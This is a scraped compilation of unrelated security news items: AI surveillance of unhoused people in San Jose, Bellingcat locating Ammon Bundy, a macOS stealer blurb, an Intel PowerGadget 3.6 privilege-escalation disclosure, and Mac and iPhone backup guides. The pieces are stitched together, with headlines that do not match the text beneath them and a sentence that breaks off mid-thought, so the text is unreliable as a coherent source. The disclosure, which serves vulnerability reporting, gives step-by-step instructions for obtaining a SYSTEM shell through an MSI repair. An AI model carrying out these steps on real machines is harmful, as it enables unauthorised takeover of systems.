In other dystopian AI news, _The Guardian_ this week reported on a government project in San Jose, California, that used AI-enabled computer vision technology to identify encampments and vehicles lived in by unhoused people. In the project, video recorded from a car around the city is given to participating companies including Ash Sensors, Sensen.AI, Xloop Digital, Blue Dome Technologies, and CityRover, which use it as training data to develop a system that can recognize tents or vehicles that people might be living in. While the project has been described as a way to identify and help people in need, advocates for the unhoused in San Jose say they’re concerned the data is likely to instead be given to the police, and thus as just another form of surveillance targeting the most vulnerable inhabitants of the city.

**Bellingcat Investigators Find Far-Right Fugitive Ammon Bundy**

Radical libertarian Ammon Bundy, a well-known figure on the far right, has been on the run since last year, charged with contempt of court after being ordered to pay $50 million to an Idaho hospital he’d accused of child trafficking and leading a campaign of harassment that targeted its staff. Then last month, he posted a provocative video to YouTube titled, “Want to Know Where Ammon Bundy Is?” The open source detectives at Bellingcat apparently did: They found enough evidence in Bundy’s videos to convincingly reveal his location. Bellingcat was able to use material like a school calendar in the background of one shot, a mountain range in another, and a highway sign in a third to place Bundy in a certain county in southern Utah. When contacted by Bellingcat, Bundy denied hiding and wrote, a little confusingly, that “at any time peace officers could find me if they wish.”

Yogurt Heist Reveals a Rampant Form of Online Fraud

Malicious ads and bogus websites are acting as a conduit to deliver two different stealer malware, including Atomic Stealer, targeting Apple macOS users.
The ongoing infostealer attacks targeting macOS users may have adopted different methods to compromise victims' Macs, but operate with the end goal of stealing sensitive data, Jamf Threat Labs said in a report published Friday.
One

Hackers Target macOS Users with Malicious Ads Spreading Stealer Malware

Intel PowerGadget version 3.6 suffers from a local privilege escalation vulnerability.

    Vulnerability summary: Local Privilege Escalation from regular user to SYSTEM, via conhost.exe hijacking triggered by MSI installer in repair modeAffected Products: Intel PowerGadgetAffected Versions: tested on PowerGadget_3.6.msi (a3834b2559c18e6797ba945d685bf174), file signed on ‎Monday, ‎February ‎1, ‎2021 9:43:20 PM (this seems to be the latest version), earlier versions might be affected as well.Affected Platforms: WindowsCommon Vulnerability Scoring System (CVSS) Base Score (CVSSv3): 7.8 HIGHRisk score (CVSSv3): 7.8 HIGH AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)I have reported this issue to Intel, but since the product has been marked End of Life since October 2023, it is not going to receive a security update nor a security advisory. Intel said that they are OK with me making this finding public, under the condition that I would emphasize that the product is EOL.Description and steps to replicate:On systems where Intel PowerGadget is installed from an MSI package, a local interactive regular user is able to run the MSI installer file in the "repair" mode and hijack the conhost.exe process (which is created by an instance of sc.exe the installer calls during the process) by quickly left-clicking on the console window that pops up for a split second in the late stage of the process. Left-clicking on the conhost.exe console window area freezes the console (meaning it prevents the sc.exe process from exiting). That process is running as NT AUTHORITY/SYSTEM. From there, it is possible to run a web browser by clicking on one of the links in the small GUI window that can be called by right-clicking on the console window bar and entering "properties". Once a web browser is spawn, attacker can call up the "Open" dialog and in that way get a fully working escape to explorer. From there they can, for example, browse through C:\Windows\System32 and right-click on cmd.exe and run it, obtaining as SYSTEM shell.Now - an important detail - on most recent builds of Windows neither Edge nor Internet Explorer will spawn as SYSTEM (this is a mitigation from Microsoft); thus for successful exploitation another browser has to already be present in the system. As you can see I pick Chrome and then spawn an instance of cmd.exe, which turns out to be running as SYSTEM. Also, when doing this, DO NOT check "always use this app" in that dialog, as if you pick the wrong one (e.g. Edge or IE), it will be saved as the default http/https handler for SYSTEM and from then further attacks like this won't work if you want to repeat the POC - unless you reverse that change somewhere in the registry.This class of Local Privilege Escalations is described by Mandiant in this article: https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers.To run the installer in repair mode, one needs to identify the proper MSI file. After normal installation, it is by default present in C:\Windows\Installer directory, under a random name. The proper file can be identified by attributes like control sum, size or "author" information.The exploitation process is illustrated in the screenshots below, reflecting the the steps taken to attain a SYSTEM shell (no exploit development is required, the issue can be exploited using GUI).Recommendation:Technically, as per the reference, it is recommended to change the way the sc.exe is called, using the WixQuietExec() method (see the second reference). In such case the conhost.exe window will not be visible to the user, thus making it impossible to perform any GUI interaction and an escape.I am, however, aware that this product is no longer maintained since October 2023 (https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html) and that includes security updates. Still, I believe a security advisory and CVE should be released just to make users and administrators aware why they need to replace PowerGadget with Intel Performance Counter Monitor.Another possible (short-term) mitigation is to disable MSI (https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi).References:https://hackingiscool.pl/intel-powergadget-3-6-local-privilege-escalation/https://www.mandiant.com/resources/blog/privileges-third-party-windows-installershttps://wixtoolset.org/docs/v3/customactions/qtexec/https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html)https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi

Intel PowerGadget 3.6 Local Privilege Escalation

Backing up your Mac is a simple process that can save your most important files from cyberthreats.

Backing up your Mac computer doesn’t need to be intimidating.

By taking advantage of a user-friendly feature released by Apple several years ago, the entire backup process can be handled almost automatically, preserving your most important files, photos, applications, and emails from cyberthreats and mishaps.

Before starting the backup process, **you will** **need an external storage device** that can connect to your Mac with a USB or Thunderbolt cable. External storage devices, which are sometimes called external hard drives, are developed and sold by many different companies, including Lacie, SanDisk, and Western Digital.

If you do not have an external storage device, you must first get one. You should also follow Apple’s recommendation that your external storage device be **twice as large** as the hard drive of your Mac computer.

To find the hard drive size of your current Mac, open the **System Settings** app on your computer. On the left-hand rail, click **General** and then, in the window open to the right, click **Storage**.

Several statistics and options will be shown.

At the top of the Storage section, the hard drive space is shown. Here, it is 494.38 GB, or 500 GB roughly.

The Mac shown here has 500 GB of internal storage. If we were to back this Mac up, we would need to use an external storage device of 1 TB (terabyte).

Once you have your external storage device, you can begin the actual backup processs.

The simplest way to back up your Mac is with the built-in feature “**Time Machine**.”

First, connect your external storage device to your Mac.

Then, you need to set up that storage device as your “backup disk.” This means that, from this point forward, your external storage device will have one primary use, and that is as a backup device that syncs with Time Machine. Apple recommends that you **do** **not** use your external storage device that you are using with Time Machine for anything other than Time Machine backups.

To set up your storage device as your backup disk, follow these instructions:

Go to **System Settings**.  

Click on **General** in the left sidebar.

From here, click on **Time Machine** in the main window displayed to the right.

From the **Time Machine** menu, click **Add Backup Disk** or click the “Add” button (+).

From here, select your external storage device and then click **Set Up Disk**.

At this point in the process, you may receive two options from Time Machine:

1.  If your device has other files on it, you will be asked if you want to erase the device so that it can be used solely as a backup with Time Machine. You can erase the files immediately and then continue the backup process through Time Machine. If you do not want to erase the files, you need to get a separate external storage device that will be used exclusively as a backup with Time Machine.
2.  If your external storage device already has backups from a prior computer, you will be asked whether you can to keep those backups and roll them into new backups made with Time Machine. This is up to you.

From here, the backup process is nearly done.

To make a backup, simply click on **Back Up Now** from the Time Machine menu.

Your first backup could take a long time to complete, but know that you can continue using your computer like normal while the process happens in the background.

From here on, whenever you attach your external storage device to your Mac, Time Machine will automatically ask to make a backup of the changes to your Mac. You can also change the frequency of your backups in your Time Machine Settings.

 How to back up your Mac 

An easy-to-understand guide on how to back up your iPhone to a Windows computer

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

We’ve published posts on how to back up your iPhone to iCloud, and how to backup an iPhone to a Mac. Another method is to backup using the iTunes app on a Windows system.

Choose whichever backup method works best for you, and will continue to work.

First, connect your iPhone to the Windows system with a cable.

You are likely to see a prompt on your iPhone asking whether it can trust this computer.

To proceed, tap **Trust** and entering your passcode.

Then open the iTunes app on your Windows device.

In iTunes click the **Device** symbol in the upper left corner (next to the Music drop down box).

_Note: It may take a while before the device icon appears_

In the **Settings** of the iTunes app select **Summary**.

You’ll see some device data about your iPhone, and below that a **Backups** menu.

Here you can select either **iCloud** or **This Computer**.

To create a local backup select **This Computer** and click on **Back Up Now** to create a new backup of your iPhone on your Windows System.

To encrypt your backups, select **Encrypt local backup**, type a password, then click **Set Password**.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 How to back up your iPhone to a Windows computer 

An easy-to-understand guide on how to backup your iPhone or iPad to your Mac.

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

One of the most cost effective ways to backup your iPhone is to save backups to your Mac. Backups are made automatically whenever you connect your iPhone to your Mac with a lead. Be aware though that backups can take up a lot of space on your Mac, and that if your Mac is lost, stolen, or inoperable, then you won’t be able to access your iPhone backups. If you need daily backups or backups that can always be accessed from anywhere, you may prefer to backup your iPhone to iCloud.

This guide tells you how to enable backups to your Mac, and how to check that everything is working as you expect.

First, connect your iPhone or iPad to a Mac using a cable.

Open the **Finder** app and select your iPhone from the list of **Locations**.

Click **Genera**l.

Under **Backups**, choose **Back up all of the data on your iPhone to this Mac**.

To encrypt your backup data and protect it with a password, select **Encrypt local backup**. You will be prompted for a password.

Click **Back Up Now.**

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Tag

#mac